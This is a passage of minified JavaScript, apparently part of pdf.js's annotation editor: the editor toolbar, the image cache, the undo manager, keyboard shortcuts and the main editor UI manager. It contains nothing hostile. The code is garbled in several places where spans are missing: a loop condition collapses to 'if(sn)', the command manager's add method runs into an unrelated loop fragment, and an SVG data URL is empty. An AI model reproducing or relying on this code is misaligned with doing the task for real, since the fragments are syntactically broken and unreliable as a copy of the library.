e.renderEditButton(a(this,er)));A(this,Xe,vh).call(this,t),a(this,nr).append(t,a(this,Xe,Wc))}removeButton(e){var t,n;switch(e){case"comment":(t=a(this,Qs))==null||t.removeToolbarCommentButton(),g(this,Qs,null),(n=a(this,Mh))==null||n.remove(),g(this,Mh,null);break}}async addButton(e,t){switch(e){case"colorPicker":t&&this.addColorPicker(t);break;case"altText":t&&await this.addAltText(t);break;case"editSignature":t&&await this.addEditSignatureButton(t);break;case"delete":this.addDeleteButton();break;case"comment":t&&this.addComment(t);break}}async addButtonBefore(e,t,n){if(!t&&e==="comment")return;const r=a(this,nr).querySelector(n);r&&e==="comment"&&this.addComment(t,r)}updateEditSignatureButton(e){a(this,Lh)&&(a(this,Lh).title=e)}remove(){var e;a(this,Js).remove(),(e=a(this,Zs))==null||e.destroy(),g(this,Zs,null)}};Js=new WeakMap,Zs=new WeakMap,er=new WeakMap,nr=new WeakMap,Od=new WeakMap,Qs=new WeakMap,Mh=new WeakMap,Lh=new WeakMap,Md=new WeakMap,Mm=new WeakSet,J1=function(e){e.stopPropagation()},Xe=new WeakSet,Z1=function(e){a(this,er)._focusEventsAllowed=!1,ee(e)},Q1=function(e){a(this,er)._focusEventsAllowed=!0,ee(e)},vh=function(e){const t=a(this,er)._uiManager._signal;return!(t instanceof AbortSignal)||t.aborted?!1:(e.addEventListener("focusin",A(this,Xe,Z1).bind(this),{capture:!0,signal:t}),e.addEventListener("focusout",A(this,Xe,Q1).bind(this),{capture:!0,signal:t}),e.addEventListener("contextmenu",Er,{signal:t}),!0)},Wc=function(){const e=document.createElement("div");return e.className="divider",e},b(Di,Mm),b(Di,Md,null);let Jv=Di;var Ld,Co,Ni,Us,q1,tA,Zv;class Kx{constructor(e){b(this,Us);b(this,Ld,null);b(this,Co,null);b(this,Ni);g(this,Ni,e)}show(e,t,n){const[r,i]=A(this,Us,tA).call(this,t,n),{style:s}=a(this,Co)||g(this,Co,A(this,Us,q1).call(this));e.append(a(this,Co)),s.insetInlineEnd=`${100*r}%`,s.top=`calc(${100*i}% + var(--editor-toolbar-vert-offset))`}hide(){a(this,Co).remove()}}Ld=new WeakMap,Co=new WeakMap,Ni=new WeakMap,Us=new WeakSet,q1=function(){const e=g(this,Co,document.createElement("div"));e.className="editToolbar",e.setAttribute("role","toolbar");const t=a(this,Ni)._signal;t instanceof AbortSignal&&!t.aborted&&e.addEventListener("contextmenu",Er,{signal:t});const n=g(this,Ld,document.createElement("div"));return n.className="buttons",e.append(n),a(this,Ni).hasCommentManager()&&A(this,Us,Zv).call(this,"commentButton","pdfjs-comment-floating-button","pdfjs-comment-floating-button-label",()=>{a(this,Ni).commentSelection("floating_button")}),A(this,Us,Zv).call(this,"highlightButton","pdfjs-highlight-floating-button1","pdfjs-highlight-floating-button-label",()=>{a(this,Ni).highlightSelection("floating_button")}),e},tA=function(e,t){let n=0,r=0;for(const i of e){const s=i.y+i.height;if(sn){r=o,n=s;continue}t?o>r&&(r=o):o=1}static clearPointerType(){g(kt,Io,null)}static clearPointerIds(){g(kt,To,NaN),g(kt,Po,null)}static clearTimeStamp(){g(kt,Nh,NaN)}};To=new WeakMap,Po=new WeakMap,Nh=new WeakMap,Io=new WeakMap,b(kt,To,NaN),b(kt,Po,null),b(kt,Nh,NaN),b(kt,Io,null);let Ke=kt;var Lm;class Jx{constructor(){b(this,Lm,0)}get id(){return`${xd}${ie(this,Lm)._++}`}}Lm=new WeakMap;var Bh,Nd,Je,kh,Sg;const vb=class vb{constructor(){b(this,kh);b(this,Bh,X1());b(this,Nd,0);b(this,Je,null)}static get _isSVGFittingCanvas(){const e='data:image/svg+xml;charset=UTF-8,',n=new OffscreenCanvas(1,3).getContext("2d",{willReadFrequently:!0}),r=new Image;r.src=e;const i=r.decode().then(()=>(n.drawImage(r,0,0,1,1,0,0,1,3),new Uint32Array(n.getImageData(0,0,1,1).data.buffer)[0]===0));return dt(this,"_isSVGFittingCanvas",i)}async getFromFile(e){const{lastModified:t,name:n,size:r,type:i}=e;return A(this,kh,Sg).call(this,`${t}_${n}_${r}_${i}`,e)}async getFromUrl(e){return A(this,kh,Sg).call(this,e,e)}async getFromBlob(e,t){const n=await t;return A(this,kh,Sg).call(this,e,n)}async getFromId(e){a(this,Je)||g(this,Je,new Map);const t=a(this,Je).get(e);if(!t)return null;if(t.bitmap)return t.refCounter+=1,t;if(t.file)return this.getFromFile(t.file);if(t.blobPromise){const{blobPromise:n}=t;return delete t.blobPromise,this.getFromBlob(t.id,n)}return this.getFromUrl(t.url)}getFromCanvas(e,t){a(this,Je)||g(this,Je,new Map);let n=a(this,Je).get(e);if(n!=null&&n.bitmap)return n.refCounter+=1,n;const r=new OffscreenCanvas(t.width,t.height);return r.getContext("2d").drawImage(t,0,0),n={bitmap:r.transferToImageBitmap(),id:`image_${a(this,Bh)}_${ie(this,Nd)._++}`,refCounter:1,isSvg:!1},a(this,Je).set(e,n),a(this,Je).set(n.id,n),n}getSvgUrl(e){const t=a(this,Je).get(e);return t!=null&&t.isSvg?t.svgUrl:null}deleteId(e){var r;a(this,Je)||g(this,Je,new Map);const t=a(this,Je).get(e);if(!t||(t.refCounter-=1,t.refCounter!==0))return;const{bitmap:n}=t;if(!t.url&&!t.file){const i=new OffscreenCanvas(n.width,n.height);i.getContext("bitmaprenderer").transferFromImageBitmap(n),t.blobPromise=i.convertToBlob()}(r=n.close)==null||r.call(n),t.bitmap=null}isValidId(e){return e.startsWith(`image_${a(this,Bh)}_`)}};Bh=new WeakMap,Nd=new WeakMap,Je=new WeakMap,kh=new WeakSet,Sg=async function(e,t){a(this,Je)||g(this,Je,new Map);let n=a(this,Je).get(e);if(n===null)return null;if(n!=null&&n.bitmap)return n.refCounter+=1,n;try{n||(n={bitmap:null,id:`image_${a(this,Bh)}_${ie(this,Nd)._++}`,refCounter:0,isSvg:!1});let r;if(typeof t=="string"?(n.url=t,r=await rb(t,"blob")):t instanceof File?r=n.file=t:t instanceof Blob&&(r=t),r.type==="image/svg+xml"){const i=vb._isSVGFittingCanvas,s=new FileReader,o=new Image,l=new Promise((u,c)=>{o.onload=()=>{n.bitmap=o,n.isSvg=!0,u()},s.onload=async()=>{const d=n.svgUrl=s.result;o.src=await i?`${d}#svgView(preserveAspectRatio(none))`:d},o.onerror=s.onerror=c});s.readAsDataURL(r),await l}else n.bitmap=await createImageBitmap(r);n.refCounter=1}catch(r){ht(r),n=null}return a(this,Je).set(e,n),n&&a(this,Je).set(n.id,n),n};let Qv=vb;var ue,qs,Bd,qt;class Zx{constructor(e=128){b(this,ue,[]);b(this,qs,!1);b(this,Bd);b(this,qt,-1);g(this,Bd,e)}add({cmd:e,undo:t,post:n,mustExec:r,type:i=NaN,overwriteIfSameType:s=!1,keepUndo:o=!1}){if(r&&e(),a(this,qs))return;const l={cmd:e,undo:t,post:n,type:i};if(a(this,qt)===-1){a(this,ue).length>0&&(a(this,ue).length=0),g(this,qt,0),a(this,ue).push(l);return}if(s&&a(this,ue)[a(this,qt)].type===i){o&&(l.undo=a(this,ue)[a(this,qt)].undo),a(this,ue)[a(this,qt)]=l;return}const u=a(this,qt)+1;u===a(this,Bd)?a(this,ue).splice(0,1):(g(this,qt,u),u=0;t--)if(a(this,ue)[t].type!==e){a(this,ue).splice(t+1,a(this,qt)-t),g(this,qt,t);return}a(this,ue).length=0,g(this,qt,-1)}}destroy(){g(this,ue,null)}}ue=new WeakMap,qs=new WeakMap,Bd=new WeakMap,qt=new WeakMap;var Nm,nA;class ag{constructor(e){b(this,Nm);this.buffer=[],this.callbacks=new Map,this.allKeys=new Set;const{isMac:t}=be.platform;for(const[n,r,i={}]of e)for(const s of n){const o=s.startsWith("mac+");t&&o?(this.callbacks.set(s.slice(4),{callback:r,options:i}),this.allKeys.add(s.split("+").at(-1))):!t&&!o&&(this.callbacks.set(s,{callback:r,options:i}),this.allKeys.add(s.split("+").at(-1)))}}exec(e,t){if(!this.allKeys.has(t.key))return;const n=this.callbacks.get(A(this,Nm,nA).call(this,t));if(!n)return;const{callback:r,options:{bubbles:i=!1,args:s=[],checker:o=null}}=n;o&&!o(e,t)||(r.bind(e,...s,t)(),i||ee(t))}}Nm=new WeakSet,nA=function(e){e.altKey&&this.buffer.push("alt"),e.ctrlKey&&this.buffer.push("ctrl"),e.metaKey&&this.buffer.push("meta"),e.shiftKey&&this.buffer.push("shift"),this.buffer.push(e.key);const t=this.buffer.join("+");return this.buffer.length=0,t};const Bm=class Bm{get _colors(){const e=new Map([["CanvasText",null],["Canvas",null]]);return zx(e),dt(this,"_colors",e)}convert(e){const t=sg(e);if(!window.matchMedia("(forced-colors: active)").matches)return t;for(const[n,r]of this._colors)if(r.every((i,s)=>i===t[s]))return Bm._colorsMapping.get(n);return t}getHexCode(e){const t=this._colors.get(e);return t?_.makeHexColor(...t):e}};M(Bm,"_colorsMapping",new Map([["CanvasText",[0,0,0]],["Canvas",[255,255,255]]]));let qv=Bm;var jh,Rn,Uh,se,te,$h,Hh,an,Vh,rr,Pe,ta,ea,na,ra,Yr,ir,Ro,kd,jd,Wh,Ud,Kr,ia,zh,sa,Jr,km,Bi,Gh,$d,aa,Fo,Xh,oa,Hd,me,Lt,ki,la,ha,Vd,_h,Wd,ua,Zr,ji,zd,Gd,sr,Ms,J,Cg,ty,rA,iA,sA,zc,aA,oA,lA,ey,hA,uA,cA,dA,rn,Ii,fA,pA,ny,gA,Gc,ry;let Cd=(Ms=class{constructor(e,t,n,r,i,s,o,l,u,c,d,f,p,m,v,y){b(this,J);b(this,jh,new AbortController);b(this,Rn,null);b(this,Uh,null);b(this,se,new Map);b(this,te,new Map);b(this,$h,null);b(this,Hh,null);b(this,an,null);b(this,Vh,null);b(this,rr,new Zx);b(this,Pe,null);b(this,ta,null);b(this,ea,null);b(this,na,0);b(this,ra,new Set);b(this,Yr,null);b(this,ir,null);b(this,Ro,new Set);M(this,"_editorUndoBar",null);b(this,kd,!1);b(this,jd,!1);b(this,Wh,!1);b(this,Ud,null);b(this,Kr,null);b(this,ia,null);b(this,zh,null);b(this,sa,!1);b(this,Jr,null);b(this,km,new Jx);b(this,Bi,!1);b(this,Gh,!1);b(this,$d,!1);b(this,aa,null);b(this,Fo,null);b(this,Xh,null);b(this,oa,null);b(this,Hd,null);b(this,me,ct.NONE);b(this,Lt,new Set);b(this,ki,null);b(this,la,null);b(this,ha,null);b(this,Vd,null);b(this,_h,null);b(this,Wd,{isEditing:!1,isEmpty:!0,hasSomethingToUndo:!1,hasSomethingToRedo:!1,hasSelectedEditor:!1,hasSelectedText:!1});b(this,ua,[0,0]);b(this,Zr,null);b(this,ji,null);b(this,zd,null);b(this,Gd,null);b(this,sr,null);const E=this._signal=a(this,jh).signal;g(this,ji,e),g(this,zd,t),g(this,Gd,n),g(this,Hh,r),g(this,Pe,i),g(this,la,s),g(this,_h,l),this._eventBus=o,o._on("editingaction",this.onEditingAction.bind(this),{signal:E}),o._on("pagechanging",this.onPageChanging.bind(this),{signal:E}),o._on("scalechanging",this.onScaleChanging.bind(this),{signal:E}),o._on("rotationchanging",this.onRotationChanging.bind(this),{signal:E}),o._on("setpreference",this.onSetPreference.bind(this),{signal:E}),o._on("switchannotationeditorparams",S=>this.updateParams(S.type,S.value),{signal:E}),window.addEventListener("pointerdown",()=>{g(this,Gh,!0)},{capture:!0,signal:E}),window.addEventListener("pointerup",()=>{g(this,Gh,!1)},{capture:!0,signal:E}),window.addEventListener("beforeunload",A(this,J,rA).bind(this),{capture:!0,signal:E}),A(this,J,aA).call(this),A(this,J,dA).call(this),A(this,J,ey).call(this),g(this,an,l.annotationStorage),g(this,Ud,l.filterFactory),g(this,ha,u),g(this,zh,c||null),g(this,kd,d),g(this,jd,f),g(this,Wh,p),g(this,Hd,m||null),this.viewParameters={realScale:Fc.PDF_TO_CSS_UNITS,rotation:0},this.isShiftKeyDown=!1,this._editorUndoBar=v||null,this._supportsPinchToZoom=y!==!1,i==null||i.setSidebarUiManager(this)}static get _keyboardManager(){const e=Ms.prototype,t=s=>a(s,ji).contains(document.activeElement)&&document.activeElement.tagName!=="BUTTON"&&s.hasSomethingToControl(),n=(s,{target:o})=>{if(o instanceof HTMLInputElement){const{type:l}=o;return l!=="text"&&l!=="number"}return!0},r=this.TRANSLATE_SMALL,i=this.TRANSLATE_BIG;return dt(this,"_keyboardManager",new ag([[["ctrl+a","mac+meta+a"],e.selectAll,{checker:n}],[["ctrl+z","mac+meta+z"],e.undo,{checker:n}],[["ctrl+y","ctrl+shift+z","mac+meta+shift+z","ctrl+shift+Z","mac+meta+shift+Z"],e.redo,{checker:n}],[["Backspace","alt+Backspace","ctrl+Backspace","shift+Backspace","mac+Backspace","mac+alt+Backspace","mac+ctrl+Backspace","Delete","ctrl+Delete","shift+Delete","mac+Delete"],e.delete,{checker:n}],[["Enter","mac+Enter"],e.addNewEditorFromKeyboard,{checker:(s,{target:o})=>!(o instanceof HTMLButtonElement)&&a(s,ji).contains(o)&&!s.isEnterHandled}],[[" ","mac+ "],e.addNewEditorFromKeyboard,{checker:(s,{target:o})=>!(o instanceof HTMLButtonElement)&&a(s,ji).contains(document.activeElement)}],[["Escape","mac+Escape"],e.unselectAll],[["ArrowLeft","mac+ArrowLeft"],e.translateSelectedEditors,{args:[-r,0],checker:t}],[["ctrl+ArrowLeft","mac+shift+ArrowLeft"],e.translateSelectedEditors,{args:[-i,0],checker:t}],[["ArrowRight","mac+ArrowRight"],e.translateSelectedEditors,{args:[r,0],checker:t}],[["ctrl+ArrowRight","mac+shift+ArrowRight"],e.translateSelectedEditors,{args:[i,0],checker:t}],[["ArrowUp","mac+ArrowUp"],e.translateSelectedEditors,{args:[0,-r],checker:t}],[["ctrl+ArrowUp","mac+shift+ArrowUp"],e.translateSelectedEditors,{args:[0,-i],checker:t}],[["ArrowDown","mac+ArrowDown"],e.translateSelectedEditors,{args:[0,r],checker:t}],[["ctrl+ArrowDown","mac+shift+ArrowDown"],e.translateSelectedEditors,{args:[0,i],checker:t}]]))}destroy(){var e,t,n,r,i,s,o,l,u;(e=a(this,sr))==null||e.resolve(),g(this,sr,null),(t=a(this,jh))==null||t.abort(),g(this,jh,null),this._signal=null;for(const c of a(this,te).values())c.destroy();a(this,te).clear(),a(this,se).clear(),a(this,Ro).clear(),(n=a(this,oa))==null||n.clear(),g(this,Rn,null),a(this,Lt).clear(),a(this,rr).destroy(),(r=a(this,Hh))==null||r.destroy(),(i=a(this,Pe))==null||i.destroy(),(s=a(this,la))==null||s.destroy(),(o=a(this,Jr))==null||o.hide(),g(this,Jr,null),(l=a(this,Xh))==null||l.destroy(),g(this,Xh,null),g(this,Uh,null),a(this,Kr)&&(clearTimeout(a(this,Kr)),g(this,Kr,null)),a(this,Zr)&&(clearTimeout(a(this,Zr)),g(this,Zr,null)),(u=this._editorUndoBar)==null||u.destroy(),g(this,_h,null)}combinedSignal(e){return AbortSignal.any([this._signal,e.signal])}get mlManager(){return a(this,Hd)}get useNewAltTextFlow(){return a(this,jd)}get useNewAltTextWhenAddingImage(){return a(this,Wh)}get hcmFilter(){return dt(this,"hcmFilter",a(this,ha)?a(this,Ud).addHCMFilter(a(this,ha).foreground,a(this,ha).background):"none")}get direction(){return dt(this,"direction",getComputedStyle(a(this,ji)).direction)}get _highlightColors(){return dt(this,"_highlightColors",a(this,zh)?new Map(a(this,zh).split(",").map(e=>(e=e.split("=").map(t=>t.trim()),e[1]=e[1].toUpperCase(),e))):null)}get highlightColors(){const{_highlightColors:e}=this;if(!e)return dt(this,"highlightColors",null);const t=new Map,n=!!a(this,ha);for(const[r,i]of e){const s=r.endsWith("_HCM");if(n&&s){t.set(r.replace("_HCM",""),i);continue}!n&&!s&&t.set(r,i)}return dt(this,"highlightColors",t)}get highlightColorNames(){return dt(this,"highlightColorNames",this.highlightColors?new Map(Array.from(this.highlightColors,e=>e.reverse())):null)}getNonHCMColor(e){if(!this._highlightColors)return e;const t=this.highlightColorNames.get(e);return this._highlightColors.get(t)||e}getNonHCMColorName(e){return this.highlightColorNames.get(e)||e}setCurrentDrawingSession(e){e?(this.unselectAll(),this.disableUserSelect(!0)):this.disableUserSelect(!1),g(this,ea,e)}setMainHighlightColorPicker(e){g(this,Xh,e)}editAltText(e,t=!1){var n;(n=a(this,Hh))==null||n.editAltText(this,e,t)}hasCommentManager(){return!!a(this,Pe)}editComment(e,t,n,r){var i;(i=a(this,Pe))==null||i.showDialog(this,e,t,n,r)}selectComment(e,t){const n=a(this,te).get(e),r=n==null?void 0:n.getEditorByUID(t);r==null||r.toggleComment(!0,!0)}updateComment(e){var t;(t=a(this,Pe))==null||t.updateComment(e.getData())}updatePopupColor(e){var t;(t=a(this,Pe))==null||t.updatePopupColor(e)}removeComment(e){var t;(t=a(this,Pe))==null||t.removeComments([e.uid])}deleteComment(e,t){const n=()=>{e.comment=t},r=()=>{var i;(i=this._editorUndoBar)==null||i.show(n,"comment"),this.toggleComment(null),e.comment=null};this.addCommands({cmd:r,undo:n,mustExec:!0})}toggleComment(e,t,n=void 0){var r;(r=a(this,Pe))==null||r.toggleCommentPopup(e,t,n)}makeCommentColor(e,t){var n;return e&&((n=a(this,Pe))==null?void 0:n.makeCommentColor(e,t))||null}getCommentDialogElement(){var e;return((e=a(this,Pe))==null?void 0:e.dialogElement)||null}async waitForEditorsRendered(e){if(a(this,te).has(e-1))return;const{resolve:t,promise:n}=Promise.withResolvers(),r=i=>{i.pageNumber===e&&(this._eventBus._off("editorsrendered",r),t())};this._eventBus.on("editorsrendered",r),await n}getSignature(e){var t;(t=a(this,la))==null||t.getSignature({uiManager:this,editor:e})}get signatureManager(){return a(this,la)}switchToMode(e,t){this._eventBus.on("annotationeditormodechanged",t,{once:!0,signal:this._signal}),this._eventBus.dispatch("showannotationeditorui",{source:this,mode:e})}setPreference(e,t){this._eventBus.dispatch("setpreference",{source:this,name:e,value:t})}onSetPreference({name:e,value:t}){switch(e){case"enableNewAltTextWhenAddingImage":g(this,Wh,t);break}}onPageChanging({pageNumber:e}){g(this,na,e-1)}deletePage(e){for(const t of this.getEditors(e))t.remove();a(this,te).delete(e),a(this,na)===e&&g(this,na,0)}focusMainContainer(){a(this,ji).focus()}findParent(e,t){for(const n of a(this,te).values()){const{x:r,y:i,width:s,height:o}=n.div.getBoundingClientRect();if(e>=r&&e<=r+s&&t>=i&&t<=i+o)return n}return null}disableUserSelect(e=!1){a(this,zd).classList.toggle("noUserSelect",e)}addShouldRescale(e){a(this,Ro).add(e)}removeShouldRescale(e){a(this,Ro).delete(e)}onScaleChanging({scale:e}){var t;this.commitOrRemove(),this.viewParameters.realScale=e*Fc.PDF_TO_CSS_UNITS;for(const n of a(this,Ro))n.onScaleChanging();(t=a(this,ea))==null||t.onScaleChanging()}onRotationChanging({pagesRotation:e}){this.commitOrRemove(),this.viewParameters.rotation=e}highlightSelection(e="",t=!1){const n=document.getSelection();if(!n||n.isCollapsed)return;const{anchorNode:r,anchorOffset:i,focusNode:s,focusOffset:o}=n,l=n.toString(),c=A(this,J,Cg).call(this,n).closest(".textLayer"),d=this.getSelectionBoxes(c);if(!d)return;n.empty();const f=A(this,J,ty).call(this,c),p=a(this,me)===ct.NONE,m=()=>{const v=f==null?void 0:f.createAndAddNewEditor({x:0,y:0},!1,{methodOfCreation:e,boxes:d,anchorNode:r,anchorOffset:i,focusNode:s,focusOffset:o,text:l});p&&this.showAllEditors("highlight",!0,!0),t&&(v==null||v.editComment())};if(p){this.switchToMode(ct.HIGHLIGHT,m);return}m()}commentSelection(e=""){this.highlightSelection(e,!0)}getAndRemoveDataFromAnnotationStorage(e){if(!a(this,an))return null;const t=`${xd}${e}`,n=a(this,an).getRawValue(t);return n&&a(this,an).remove(t),n}addToAnnotationStorage(e){!e.isEmpty()&&a(this,an)&&!a(this,an).has(e.id)&&a(this,an).setValue(e.id,e)}a11yAlert(e,t=null){const n=a(this,Gd);n&&(n.setAttribute("data-l10n-id",e),t?n.setAttribute("data-l10n-args",JSON.stringify(t)):n.removeAttribute("data-l10n-args"))}blur(){if(this.isShiftKeyDown=!1,a(this,sa)&&(g(this,sa,!1),A(this,J,zc).call(this,"main_toolbar")),!this.hasSelection)return;const{activeElement:e}=document;for(const t of a(this,Lt))if(t.div.contains(e)){g(this,Fo,[t,e]),t._focusEventsAllowed=!1;break}}focus(){if(!a(this,Fo))return;const[e,t]=a(this,Fo);g(this,Fo,null),t.addEventListener("focusin",()=>{e._focusEventsAllowed=!0},{once:!0,signal:this._signal}),t.focus()}addEditListeners(){A(this,J,ey).call(this),this.setEditingState(!0)}removeEditListeners(){A(this,J,hA).call(this),this.setEditingState(!1)}dragOver(e){for(const{type:t}of e.dataTransfer.items)for(const n of a(this,ir))if(n.isHandlingMimeForPasting(t)){e.dataTransfer.dropEffect="copy",e.preventDefault();return}}drop(e){for(const t of e.dataTransfer.items)for(const n of a(this,ir))if(n.isHandlingMimeForPasting(t.type)){n.paste(t,this.currentLayer),e.preventDefault();return}}copy(e){var n;if(e.preventDefault(),(n=a(this,Rn))==null||n.commitOrRemove(),!this.hasSelection)return;const t=[];for(const r of a(this,Lt)){const i=r.serialize(!0);i&&t.push(i)}t.length!==0&&e.clipboardData.setData("application/pdfjs",JSON.stringify(t))}cut(e){this.copy(e),this.delete()}async paste(e){e.preventDefault();const{clipboardData:t}=e;for(const i of t.items)for(const s of a(this,ir))if(s.isHandlingMimeForPasting(i.type)){s.paste(i,this.currentLayer);return}let n=t.getData("application/pdfjs");if(!n)return;try{n=JSON.parse(n)}catch(i){ht(`paste: "${i.message}".`);return}if(!Array.isArray(n))return;this.unselectAll();const r=this.currentLayer;try{const i=[];for(const l of n){const u=await r.deserialize(l);if(!u)return;i.push(u)}const s=()=>{for(const l of i)A(this,J,ny).call(this,l);A(this,J,ry).call(this,i)},o=()=>{for(const l of i)l.remove()};this.addCommands({cmd:s,undo:o,mustExec:!0})}catch(i){ht(`paste: "${i.message}".`)}}keydown(e){!this.isShiftKeyDown&&e.key==="Shift"&&(this.isShiftKeyDown=!0),a(this,me)!==ct.NONE&&!this.isEditorHandlingKeyboard&&Ms._keyboardManager.exec(this,e)}keyup(e){this.isShiftKeyDown&&e.key==="Shift"&&(this.isShiftKeyDown=!1,a(this,sa)&&(g(this,sa,!1),A(this,J,zc).call(this,"main_toolbar")))}onEditingAction({name:e}){switch(e){case"undo":case"redo":case"delete":case"selectAll":this[e]();break;case"highlightSelection":this.highlightSelection("context_menu");break;case"commentSelection":this.commentSelection("context_menu");break}}updatePageIndex(e,t){for(const r of this.getEditors(e))r.pageIndex=t;const n=a(this,$h).get(e);n&&(n.pageIndex=t,a(this,te).set(t,n),a(this,Bi)?n.enable():n.disable())}startUpdatePages(){g(this,$h,new Map(a(this,te))),a(this,te).clear()}endUpdatePages(){g(this,$h,null)}clonePage(e,t){for(const n of this.getEditors(e)){const r=n.serialize(n.mode!==ct.HIGHLIGHT);r&&(r.pageIndex=t,r.id=this.getId(),r.isClone=!0,delete r.popupRef,a(this,an).setValue(r.id,r))}}findClonesForPage(e){const t=[],{pageIndex:n}=e;for(const[r,i]of a(this,an))i.pageIndex===n&&i.isClone&&(a(this,an).remove(r),t.push(e.deserialize(i).then(s=>{s&&(s.isClone=!0,e.addOrRebuild(s))})));return Promise.all(t)}setEditingState(e){e?(A(this,J,oA).call(this),A(this,J,uA).call(this),A(this,J,rn).call(this,{isEditing:a(this,me)!==ct.NONE,isEmpty:A(this,J,Gc).call(this),hasSomethingToUndo:a(this,rr).hasSomethingToUndo(),hasSomethingToRedo:a(this,rr).hasSomethingToRedo(),hasSelectedEditor:!1})):(A(this,J,lA).call(this),A(this,J,cA).call(this),A(this,J,rn).call(this,{isEditing:!1}),this.disableUserSelect(!1))}registerEditorTypes(e){if(!a(this,ir)){g(this,ir,e);for(const t of a(this,ir))A(this,J,Ii).call(this,t.defaultPropertiesToUpdate)}}getId(){return a(this,km).id}get currentLayer(){return a(this,te).get(a(this,na))}getLayer(e){return a(this,te).get(e)}get currentPageIndex(){return a(this,na)}addLayer(e){a(this,te).set(e.pageIndex,e),a(this,Bi)?e.enable():e.disable()}removeLayer(e){a(this,te).delete(e.pageIndex)}async updateMode(e,t=null,n=!1,r=!1,i=!1,s=!1){var o,l,u,c,d,f;if(a(this,me)!==e&&!(a(this,sr)&&(await a(this,sr).promise,!a(this,sr)))){if(g(this,sr,Promise.withResolvers()),(o=a(this,ea))==null||o.commitOrRemove(),a(this,me)===ct.POPUP&&((l=a(this,Pe))==null||l.hideSidebar()),(u=a(this,Pe))==null||u.destroyPopup(),g(this,me,e),e===ct.NONE){this.setEditingState(!1),A(this,J,pA).call(this);for(const p of a(this,se).values())p.hideStandaloneCommentButton();(c=this._editorUndoBar)==null||c.hide(),this.toggleComment(null),a(this,sr).resolve();return}for(const p of a(this,se).values())p.addStandaloneCommentButton();e===ct.SIGNATURE&&await((d=a(this,la))==null?void 0:d.loadSignatures()),n&&Ke.clearPointerType(),this.setEditingState(!0),await A(this,J,fA).call(this),this.unselectAll();for(const p of a(this,te).values())p.updateMode(e);if(e===ct.POPUP){a(this,Uh)||g(this,Uh,await a(this,_h).getAnnotationsByType(new Set(a(this,ir).map(v=>v._editorType))));const p=new Set,m=[];for(const v of a(this,se).values()){const{annotationElementId:y,hasComment:E,deleted:S}=v;y&&p.add(y),E&&!S&&m.push(v.getData())}for(const v of a(this,Uh)){const{id:y,popupRef:E,contentsObj:S}=v;E&&(S!=null&&S.str)&&!p.has(y)&&!a(this,ra).has(y)&&m.push(v)}(f=a(this,Pe))==null||f.showSidebar(m)}if(!t){r&&this.addNewEditorFromKeyboard(),a(this,sr).resolve();return}for(const p of a(this,se).values())p.uid===t?(this.setSelected(p),s?p.editComment():i?p.enterInEditMode():p.focus()):p.unselect();a(this,sr).resolve()}}addNewEditorFromKeyboard(){this.currentLayer.canCreateNewEmptyEditor()&&this.currentLayer.addNewEditor()}updateToolbar(e){e.mode!==a(this,me)&&this._eventBus.dispatch("switchannotationeditormode",{source:this,...e})}updateParams(e,t){if(a(this,ir)){switch(e){case gt.CREATE:this.currentLayer.addNewEditor(t);return;case gt.HIGHLIGHT_SHOW_ALL:this._eventBus.dispatch("reporttelemetry",{source:this,details:{type:"editing",data:{type:"highlight",action:"toggle_visibility"}}}),(a(this,Vd)||g(this,Vd,new Map)).set(e,t),this.showAllEditors("highlight",t);break}if(this.hasSelection)for(const n of a(this,Lt))n.updateParams(e,t);else for(const n of a(this,ir))n.updateDefaultParams(e,t)}}showAllEditors(e,t,n=!1){var i;for(const s of a(this,se).values())s.editorType===e&&s.show(t);(((i=a(this,Vd))==null?void 0:i.get(gt.HIGHLIGHT_SHOW_ALL))??!0)!==t&&A(this,J,Ii).call(this,[[gt.HIGHLIGHT_SHOW_ALL,t]])}enableWaiting(e=!1){if(a(this,$d)!==e){g(this,$d,e);for(const t of a(this,te).values())e?t.disableClick():t.enableClick(),t.div.classList.toggle("waiting",e)}}*getEditors(e){for(const t of a(this,se).values())t.pageIndex===e&&(yield t)}getEditor(e){return a(this,se).get(e)}addEditor(e){a(this,se).set(e.id,e)}removeEditor(e){var t,n;e.div.contains(document.activeElement)&&(a(this,Kr)&&clearTimeout(a(this,Kr)),g(this,Kr,setTimeout(()=>{this.focusMainContainer(),g(this,Kr,null)},0))),a(this,se).delete(e.id),e.annotationElementId&&((t=a(this,oa))==null||t.delete(e.annotationElementId)),this.unselect(e),(!e.annotationElementId||!a(this,ra).has(e.annotationElementId))&&((n=a(this,an))==null||n.remove(e.id))}addDeletedAnnotationElement(e){a(this,ra).add(e.annotationElementId),this.addChangedExistingAnnotation(e),e.deleted=!0}isDeletedAnnotationElement(e){return a(this,ra).has(e)}removeDeletedAnnotationElement(e){a(this,ra).delete(e.annotationElementId),this.removeChangedExistingAnnotation(e),e.deleted=!1}setActiveEditor(e){a(this,Rn)!==e&&(g(this,Rn,e),e&&A(this,J,Ii).call(this,e.propertiesToUpdate))}updateUI(e){a(this,J,gA)===e&&A(this,J,Ii).call(this,e.propertiesToUpdate)}updateUIForDefaultProperties(e){A(this,J,Ii).call(this,e.defaultPropertiesToUpdate)}toggleSelected(e){if(a(this,Lt).has(e)){a(this,Lt).delete(e),e.unselect(),A(this,J,rn).call(this,{hasSelectedEditor:this.hasSelection});return}a(this,Lt).add(e),e.select(),A(this,J,Ii).call(this,e.propertiesToUpdate),A(this,J,rn).call(this,{hasSelectedEditor:!0})}setSelected(e){var t,n;this.updateToolbar({mode:e.mode,editId:e.uid}),(t=a(this,ea))==null||t.commitOrRemove();for(const r of a(this,Lt))r!==e&&r.unselect();(n=a(this,Pe))==null||n.destroyPopup(),a(this,Lt).clear(),a(this,Lt).add(e),e.select(),A(this,J,Ii).call(this,e.propertiesToUpdate),A(this,J,rn).call(this,{hasSelectedEditor:!0})}isSelected(e){return a(this,Lt).has(e)}get firstSelectedEditor(){return a(this,Lt).values().next().value}unselect(e){e.unselect(),a(this,Lt).delete(e),A(this,J,rn).call(this,{hasSelectedEditor:this.hasSelection})}get hasSelection(){return a(this,Lt).size!==0}get isEnterHandled(){return a(this,Lt).size===1&&this.firstSelectedEditor.isEnterHandled}undo(){var 